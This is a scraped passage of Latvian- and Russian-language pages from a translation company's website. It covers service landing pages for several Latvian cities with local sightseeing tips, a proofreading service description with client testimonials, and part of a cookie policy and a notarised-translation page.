Explorer - https://support. microsoft. com/en-us/help/278835/how-to-delete-cookie-files-in-internet-explorer Vairāk informācijas, kā kontrolēt sīkdatnes atbilstoši ierīces pārlūkprogrammai, var atrast tīmekļvietnē: www. aboutcookies. org. CITI NOTEIKUMI 12. Ja nav noteikts citādi, sīkdatnes tiek glabātas, kamēr tiek izpildīta darbība, kādam nolūkam tās vāktas un pēc tam tās tiek dzēstas. 13. Pārzinis apliecina, ka sīkdatnes un statistikas informācija tiks apkopota, apstrādāta un glabāta saskaņā ar Eiropas Savienības normatīvo aktu prasībām, tai skaitā ar 2016. gada 27. aprīļa Eiropas Parlamenta un ES Padomes Personas datu aizsardzības regulu Nr. 2016/679. 14. Pārzinis patur tiesības jebkurā brīdī mainīt šos noteikumus. Vietnes apmeklētāja pienākums ir patstāvīgi pārbaudīt Vietnes saturu, lai iepazītos ar noteikumu izmaiņām. Privātuma politika SKRIVANEK DATU AIZSARDZĪBAS SPECIĀLISTS Uldis Krūmiņš dpo@skrivanek. lv --- > Ietaupiet laiku un līdzekļus, pasūtiet valodu pakalpojumus tiešsaistē! Sazinieties ar mums, sagatavosim tieši jums piemērotu valodu risinājumu! - Published: 2018-03-19 - Modified: 2024-09-10 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-daugavpili/ - Translation Priorities: Optional LAIPNI LŪDZAM SKRIVANEK BALTIC! Biroja adrese: Lāčplēša iela 87C, Rīga Darba laiks: Pr–Pk no 8. 30 līdz 19. 00 E-pasts: birojs@skrivanek. lv Bezmaksas tālrunis: 8000 72 72 Tālrunis: (+371) 67 240 364 Mob. : (+371) 26 181 355 VALODU PAKALPOJUMI DAUGAVPILĪ 1 Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Valodu uzņēmums Skrivanek Baltic piedāvā rakstiskos tulkojumus vairāk nekā 110 valodās ar notāra apliecinājumu vai bez tā, tekstu gramatisko un stilistisko uzlabošanu, tekstu adaptāciju un radošu tekstu sagatavošanu, tekstu grafisko apstrādi (DTP), tīmekļa vietņu tulkošanu, audio un video failu vai programmatūras lokalizāciju. Nodrošinām arī mutiskās tulkošanas pakalpojumus Daugavpilī un tās apkārtnē, tostarp mutisko tulkošanu konferencēs, tiesas sēdēs un darījuma tikšanās laikā. Ja nepieciešami tulka pakalpojumi ikdienas situācijās, piemēram, saziņai ar valsts vai pašvaldību iestādēm, dokumentu iesniegšanai vai tamlīdzīgi, aicinām izmantot tulka – asistenta pakalpojumus. Skrivanek Baltic e-mācības ļauj apgūt 9 svešvalodas jums ērtā laikā un vietā, turklāt mācību intensitāti jūs varat izvelēties pats. Piedāvājam svešvalodu mācības arī Skype vidē un valodu kursus ārzemēs. Sazinieties ar mums! Sagatavosim tieši jums piemērotu valodu risinājumu! NOSKAIDROT CENU / UZDOT JAUTĀJUMU Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt DAUGAVPILS Daugavpils ir otra lielākā Latvijas pilsēta pēc iedzīvotāju skaita. Tajā dzīvo aptuveni 95 tūkstoši iedzīvotāju un tā atrodas Latgalē, pie Latvijas austrumu robežas. Daugavpils ir nozīmīgs sociālās un ekonomiskās attīstības centrs Baltijā. KO DARĪT DAUGAVPILĪ? Ja esat Daugavpilī, iesakām apmeklēt šādas ievērojamas apskates vietas: Rīgas ielu – vienu no pirmajām gājēju ielām Latvijā; Daugavpils Marka Rotko mākslas centru, kas ir vienīgā vieta Austrumeiropā, kur var aplūkot pasaulslavenā latviešu izcelsmes mākslinieka Marka Rotko oriģināldarbus; Daugavpils cietoksni – vienu no nozīmīgākajiem pilsētas simboliem. Tā kopējā platība ir 150 ha, un tas ir vienīgais cietoksnis Austrumeiropā, kurš bez izmaiņām saglabājies no 19. gadsimta sākuma; Baznīckalnu – vietu, kur cits citam līdzās atrodas četru konfesiju dievnami; stadionu „Lokomotīve”, vienu no lielākajiem spīdveja stadioniem Eiropā, kur notiek starptautiskas spīdveja sacensības, arī Latvijas Grand Prix spīdveja izcīņa, un daudzas citas vietas. --- > Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Sazinieties ar mums! Sagatavosim tieši jums piemērotu piedāvājumu! - Published: 2018-03-19 - Modified: 2024-09-10 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-liepaja/ - Translation Priorities: Optional LAIPNI LŪDZAM SKRIVANEK BALTIC! Biroja adrese: Lāčplēša iela 87C, Rīga Darba laiks: Pr–Pk no 8. 30 līdz 19. 00 E-pasts: birojs@skrivanek. lv Bezmaksas tālrunis: 8000 72 72 Tālrunis: (+371) 67 240 364 Mob. : (+371) 26 181 355 VALODU PAKALPOJUMI LIEPĀJĀ 1 Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Valodu uzņēmums Skrivanek Baltic piedāvā rakstiskos tulkojumus vairāk nekā 500 valodu kombinācijās, tekstu gramatisko un stilistisko uzlabošanu, tekstu grafisko apstrādi (DTP), tīmekļa vietņu tulkošanu un programmatūras lokalizāciju. Piedāvājam arī mutiskās tulkošanas pakalpojumus Liepājā un tās apkārtnē, tostarp mutisko tulkošanu konferencēs. Parūpēsimies ne tikai par profesionālu tulkojumu, bet nodrošināsim arī nepieciešamo aprīkojumu. Skrivanek Baltic nodrošina arī valodu mācības uzņēmumiem klientiem ērtā laikā un vietā, turklāt mācību intensitāti varat izvēlēties pats. Piedāvājam svešvalodu mācības arī Skype vidē un valodu kursus ārzemēs. Sazinieties ar mums! Sagatavosim tieši jums piemērotu piedāvājumu! NOSKAIDROT CENU / UZDOT JAUTĀJUMU Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt LIEPĀJA Liepāja ir trešā lielākā Latvijas pilsēta pēc iedzīvotāju skaita. Tajā dzīvo aptuveni 76 tūkstoši iedzīvotāju, un tā atrodas valsts rietumu krastā starp Baltijas jūru un Liepājas ezeru. Liepāja tiek dēvēta par vēja, dzintara un mūziķu pilsētu. Tā ir nozīmīga kultūras, izglītības, rūpniecības un ostas pilsēta. KO DARĪT LIEPĀJĀ? Ja esat Liepājā, iesakām apmeklēt šādas ievērojamas apskates vietas: Latvijas mūziķu slavas aleju ar bronzā atlietiem 40 mūziķu, piemēram, Ievas Akurāteres, Mārtiņa Freimaņa un Raimonda Paula, plaukstu nospiedumiem; Liepājas Ostas promenādi, kas stiepjas gar Tirdzniecības kanālu (vietu, kur savienojas Liepājas ezers ar Baltijas jūru). Promenāde ir lieliska pastaigu vieta, no kuras paveras skats uz ostas piestātnēm, vēsturiskajiem spīķeriem, kuģiem, jahtām un 4 metrus augsto dzintara pulksteni, kas veidots no apmēram 50 litriem liepājnieku saziedotiem dzintara gabaliņiem; Karostu – Liepājas pilsētas daļu, kas ietver unikālu militāro fortifikācijas būvju kompleksu. Šajā pilsētas daļā viens no populārākajiem apskates objektiem ir Karostas cietums jeb virssardzes komplekss; Jūrmalas parku – lielāko dendroloģisko parku Latvijā (apmēram 70 ha). Tajā aug vairāk nekā 140 dažādu šķirņu koki un krūmi. Parka zonā atrodas stadions, tenisa korti, koncertzāle „Pūt vējiņi! ”, vasaras kafejnīcas, minigolfa laukums, boulinga centrs „Dzintara boulings”, bērnu laukums un lielākais atklātais skeitparks Latvijā; 8 kilometrus garo Zilā karoga pludmali; koncertzāli „Lielais dzintars”, kas kultūras baudītājus priecē ar augstvērtīgiem Latvijas un ārvalstu mākslinieku priekšnesumiem, un daudzas citas vietas. --- > Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Ātri un ērti – saņemsiet tieši jums sagatavotu piedāvājumu! - Published: 2018-03-19 - Modified: 2024-09-10 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-jelgava/ - Translation Priorities: Optional LAIPNI LŪDZAM SKRIVANEK BALTIC! Biroja adrese: Lāčplēša iela 87C, Rīga Darba laiks: Pr–Pk no 8. 30 līdz 19. 00 E-pasts: birojs@skrivanek. lv Bezmaksas tālrunis: 8000 72 72 Tālrunis: (+371) 67 240 364 Mob. : (+371) 26 181 355 VALODU PAKALPOJUMI JELGAVĀ 1 Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Valodu uzņēmums Skrivanek Baltic piedāvā rakstiskos tulkojumus vairāk nekā 110 valodās, tekstu gramatisko un stilistisko uzlabošanu, tekstu adaptāciju un radošu tekstu sagatavošanu. Nodrošinām arī mutiskās tulkošanas pakalpojumus Jelgavā un tās apkārtnē. Piedāvājam valodu mācības gan privātpersonām, gan uzņēmumiem. Mācībās izmantojam unikālo EFFECTO metodi. Šī metode ir īpaša, jo ievērojami palielina valodu apguves efektivitāti, turklāt tā ir tik aizraujoša, ka uzlabo arī studentu svešvalodu apguves motivāciju. Sazinieties ar mums, lai saņemtu jums īpaši sagatavotu piedāvājumu! NOSKAIDROT CENU / UZDOT JAUTĀJUMU Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt JELGAVA Jelgava ir ceturtā lielākā Latvijas pilsēta pēc iedzīvotāju skaita. Tajā dzīvo aptuveni 60 tūkstoši iedzīvotāju, un tā atrodas tikai 40 kilometru attālumā no Latvijas galvaspilsētas Rīgas. Jelgava ir Zemgales ekonomikas, izglītības un kultūras centrs, kur attīstās metālapstrāde, mašīnbūve un pārtikas ražošana. Jelgava ir viena no senākajām Latvijas pilsētām, un tā tiek dēvēta arī par studentu pilsētu. KO DARĪT JELGAVĀ? Ja esat Jelgavā, iesakām apmeklēt šādas ievērojamas apskates vietas: Jelgavas pili – kādreizējo Kurzemes un Zemgales hercogu rezidenci, vēlāk guberņas administratīvo centru un mūsdienās – Latvijas Lauksaimniecības universitāti (LLU). Pils ir lielākais arhitektūras piemineklis Baltijas valstīs; Kurzemes un Zemgales hercogu kapenes – Jelgavas pils pagrabā atrodas īsti sarkofāgi ar hercogu pīšļiem; Sv. Trīsvienības baznīcas torni – tajā apskatāmas trīs vēstures ekspozīcijas ar interaktīviem elementiem un skatu laukumu ar Jelgavas panorāmu; Gājēju tiltu „Mītava”, kas ir garākais gājēju un velobraucēju tilts Latvijā. Tilts savieno pilsētas centru ar Pasta salu; Lielupes palienes pļavas, kas atrodas uz salas aiz Jelgavas pils un kur ganās vairāk nekā 40 savvaļas zirgu. Šīm pļavām piešķirts Eiropas nozīmes īpaši aizsargājamo dabas teritoriju statuss – Natura 2000, jo pļavās sastopama nozīmīga augu un putnu daudzveidība, un daudzas citas vietas. --- > Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Nosūtiet mums pieprasījumu un saņemiet jums piemērotu valodu risinājumu! - Published: 2018-03-19 - Modified: 2024-09-10 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-ventspili/ - Translation Priorities: Optional LAIPNI LŪDZAM SKRIVANEK BALTIC! Biroja adrese: Lāčplēša iela 87C, Rīga Darba laiks: Pr–Pk no 8. 30 līdz 19. 00 E-pasts: birojs@skrivanek. lv Bezmaksas tālrunis: 8000 72 72 Tālrunis: (+371) 67 240 364 Mob. : (+371) 26 181 355 VALODU PAKALPOJUMI VENTSPILĪ 1 Ietaupiet laiku un līdzekļus, pasūtot valodu risinājumus tiešsaistē! Valodu uzņēmums Skrivanek Baltic piedāvā rakstiskos tulkojumus vairāk nekā 500 valodu kombinācijās, tekstu gramatisko un stilistisko uzlabošanu, tekstu adaptāciju un radošu tekstu sagatavošanu. Nodrošinām arī mutiskās tulkošanas pakalpojumus Ventspilī un tās apkārtnē. Sazinieties ar mums! Sagatavosim tieši jums piemērotu valodu risinājumu! Esam priecīgi par ciešo sadarbību ar Ventspils Augstskolas Tulkošanas studiju fakultāti, kuras studenti, lai pilnveidotu savas profesionālās iemaņas, par prakses vietu izvēlas arī mūsu uzņēmumu. Daļa no šiem studentiem nu jau papildina mūsu valodu speciālistu komandu. NOSKAIDROT CENU / UZDOT JAUTĀJUMU Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt VENTSPILS Ventspils ir sestā lielākā Latvijas pilsēta pēc iedzīvotāju skaita. Tajā dzīvo aptuveni 40 tūkstoši iedzīvotāju, un tā atrodas Kurzemes rietumos pie Baltijas jūras. Tā ir nozīmīga ar savu neaizsalstošo ostu, kurā tiek pārkrauts liels daudzums dažādu resursu. KO DARĪT VENTSPILĪ? Ja esat Ventspilī, iesakām apmeklēt šādas ievērojamas apskates vietas: Livonijas ordeņa pili – vienu no vecākajiem viduslaiku cietokšņiem Latvijā, kas saglabājies līdz mūsdienām. Tajā atrodas Ventspils muzejs, kas atzīts par vienu no modernākajiem Baltijā; pludmali – pirmo pludmali Baltijā, kas ieguva Zilā karoga pludmales titulu. Zilais karogs simbolizē tīru vidi un labu ūdens kvalitāti; Piejūras brīvdabas muzeju – vienīgo zvejniecībai veltīto brīvdabas muzeju Latvijā, kur apskatāma plaša jūras zvejas laivu ekspozīcija un Baltijas valstīs lielākā enkuru kolekcija. No lielākajiem enkuriem Jūrmalas parkā ir izveidota Enkuru taka; Mazbānīti – 2 kilometrus garo šaursliežu dzelzceļa posmu; Ventspils govju parādes eksponātus – pēc divām Govju parādēm jeb mākslas un mecenātisma projektiem pilsētā apskatāmas 27 dažāda izmēra un krāsu govju skulptūras, ko veidojuši slaveni Latvijas un ārvalstu mākslinieki, un daudzas citas vietas. --- > Tulkošanas birojs ar 25+ gadu pieredzi! Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Sazinieties ar mums – būsim priecīgi palīdzēt! - Published: 2018-03-19 - Modified: 2024-09-10 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-jurmala/ - Translation Priorities: Optional LAIPNI LŪDZAM SKRIVANEK BALTIC! Biroja adrese: Lāčplēša iela 87C, Rīga Darba laiks: Pr–Pk no 8. 30 līdz 19. 00 E-pasts: birojs@skrivanek. lv Bezmaksas tālrunis: 8000 72 72 Tālrunis: (+371) 67 240 364 Mob. : (+371) 26 181 355 VALODU PAKALPOJUMI JŪRMALĀ 1 Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Valodu uzņēmums Skrivanek Baltic piedāvā rakstiskos tulkojumus vairāk nekā 110 valodās ar notāra apliecinājumu vai bez tā, tekstu gramatisko un stilistisko uzlabošanu, tīmekļa vietņu lokalizāciju. Nodrošinām arī mutiskās tulkošanas pakalpojumus Jūrmalā, tostarp mutisko tulkošanu konferencēs, tiesas sēdēs un darījuma tikšanās laikā. Ja nepieciešami tulka pakalpojumi ikdienas situācijās, piemēram, saziņai ar valsts vai pašvaldību iestādēm, dokumentu iesniegšanai vai tamlīdzīgi, aicinām izmantot tulka – asistenta pakalpojumus. Piedāvājam arī valodu mācības grupā bērniem (sestdienās) un pieaugušajiem. Organizējam svešvalodu nometnes bērniem un jauniešiem. Turklāt nometnes notiek ne tikai vasaras brīvlaikā – tās var apmeklēt arī rudens un pavasara skolēnu brīvlaikos. Sazinieties ar mums – būsim priecīgi palīdzēt! NOSKAIDROT CENU / UZDOT JAUTĀJUMU Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt JŪRMALA Jūrmala ir piektā lielākā Latvijas pilsēta pēc iedzīvotāju skaita. Tajā dzīvo aptuveni 50 tūkstoši iedzīvotāju, un tā atrodas apmēram 25 kilometrus uz rietumiem no Latvijas galvaspilsētas Rīgas. Pilsētu no divām pusēm ieskauj ūdens – dienvidos – Lielupe, ziemeļos – Rīgas jūras līcis. Pilsētu veido 16 atsevišķas daļas – Ķemeri, Jaunķemeri, Sloka, Kauguri, Vaivari, Asari, Valteri, Melluži, Pumpuri, Jaundubulti, Dubulti, Majori, Dzintari, Bulduri, Lielupe un Priedaine. Jūrmala ir vienīgā kūrortpilsēta Latvijā, kas uzņemta Eiropas Kūrortu asociācijā. Tā ir labi pazīstama ar maigo klimatu, jūru, veselīgo gaisu, ārstnieciskajām dūņām un minerālūdeņiem. KO DARĪT JŪRMALĀ? Ja esat Jūrmalā, iesakām apmeklēt šādas ievērojamas apskates vietas: „Dzintaru koncertzāli” – populārāko Latvijas koncertzāli Latvijā, kur uzstājas pasaules līmeņa mākslinieki; „Līvu akvaparku” – ūdens atrakciju parku, kas priecēs gan bērnus, gan pieaugušos; Jomas ielu – gājēju ielu, pa kuru vasaras periodā straumēm plūst atpūtnieki un ārvalstu viesi. Tā ir arī viena no centrālajām un vecākajām Jūrmalas ielām; Lielā Ķemeru tīreļa laipu – populārāko apskates objektu Ķemeru Nacionālajā parkā, kur, pastaigājoties pa koka dēļu taku, var iepazīt cilvēka dabas neskartu augsto sūnu purvu. Takas kopējais garums ir 3,4 kilometri; Jūrmalas brīvdabas muzeju – muzejā izveidota 19. gadsimta piekrastes zvejnieku sēta ar tai raksturīgām ēkām. Muzejā var apskatīt arī enkuru un zvejas laivu kolekciju. Tajā atrodas arī virvju vīšanas darbnīca ar lielāko virvju kolekciju Latvijā; peldvietas – Jūrmalā atrodas 12 oficiālas peldvietas, no kurām 11 atrodas jūras krastā, bet viena no tām – Lielupes krastā. Piecām Jūrmalas pludmalēm ir piešķirts Zilā karoga pludmales tituls,un daudzas citas vietas. --- > Teksta korektūra jeb stilistiskās uzlabošana, tulkojuma salīdzināšana ar oriģinālu un redaktūra. Arī tekstiem, kas nav sagatavoti vai tulkoti pie mums. - Published: 2018-03-19 - Modified: 2024-07-18 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/ - Translation Priorities: Optional Mūsu valodu speciālisti palīdzēs jums uzlabot teksta stilistisko vai gramatisko kvalitāti, pārbaudīt tekstā lietoto terminoloģiju vai arī salīdzināt tulkojumu ar oriģinālu, lai pārliecinātos par tā precizitāti. Palīdzēs arī gadījumos, ja teksts nav tulkots vai sagatavots pie mums. Ikvienā no valodām pārbaudi veiks lingvists, kuram attiecīgā mērķvaloda ir dzimtā. Korektūra jeb teksta stilistiskā uzlabošana ir teksta gramatiska un stilistiska pārbaude, ko veic, lai pārliecinātos par tulkojuma atbilstību un piemērotību noteiktajam mērķim, kā arī lai pārbaudītu, vai ievērotas attiecīgās nozares tradīcijas. Korektūru veic valodu speciālists, kuram attiecīgā valoda ir dzimtā, garantējot tulkojuma kvalitāti, precizitāti un profesionalitāti. Detalizēta tulkojuma salīdzināšana ar oriģinālu tiek veikta, lai pārbaudītu tulkojuma pareizību un atbilstību oriģinālam, kā arī lai nepieciešamības gadījumā veiktu labojumus. Lai panāktu augstākās kvalitātes rezultātu, valodnieks ņem talkā instrukcijas, terminoloģijas vārdnīcas un citus atsauces materiālus. Salīdzināšanas rezultātā saņemsiet tulkojumu, kas pilnībā atbilst oriģinālam, ir lasāms, gramatiski un terminoloģiski pareizs, kā arī atbilst paredzētajam mērķim. Redaktūra jeb terminoloģijas pārbaude ir noderīga, ja nepieciešams pārbaudīt tulkojumu, kas paredzēts kādas specifiskas nozares vajadzībām. Tulkojumā lietoto terminu pārbaudi veic redaktors, kurš pārzina konkrēto nozari un kuram attiecīgā svešvaloda ir dzimtā valoda. Šī pakalpojuma atrašanai cilvēki bieži internetā lieto dažādus atslēgas vārdus – „pareizrakstības pārbaude”, „redaktors”, „gramatikas pārbaude”, „teksta rediģēšana”, „teksta koriģēšana” u. tml. NEPIECIEŠAMA TEKSTU GRAMATISKĀ VAI STILISTISKĀ UZLABOŠANA? NEPIECIEŠAMA KONSULTĀCIJA? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! BIEŽĀK UZDOTIE JAUTĀJUMI Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. Jā, privātpersonām norādām cenu, kurā iekļauts PVN. Korporatīvajiem klientiem pakalpojumu cena tiek norādīta bez PVN, pamatojoties uz vispārpieņemto tirgus praksi. Lai arī lielākā daļa pieprasījumu ir no uzņēmumiem, mēs ar lielāko prieku strādājam arī ar privātpersonām. Visbiežāk privātpersonām ir nepieciešami tulkojumi ar notāra apstiprinājumu, pieprasītas ir arī valodu mācības un nometnes bērniem un jauniešiem. Mūsu komanda palīdzēs ikvienā situācijā. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Предоставляем нотариально заверенные переводы оригиналов или копий документов в соответствии с нормативными актами Латвийской Республики. - Published: 2018-02-28 - Modified: 2024-11-13 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/ - Translation Priorities: Optional Нотариально заверенный перевод – это перевод, заверенный подписью квалифицированного переводчика, которая, в свою очередь, заверена присяжным нотариусом. Необходимость в таких документах предусмотрена рядом нормативных актов. На практике присяжный нотариус удостоверяется в наличии у переводчика необходимого для выполнения перевода образования и квалификации, а также предупреждает об ответственности за заведомо ложный и/или неверный перевод согласно статьям 300 и 302 Уголовного закона Латвийской 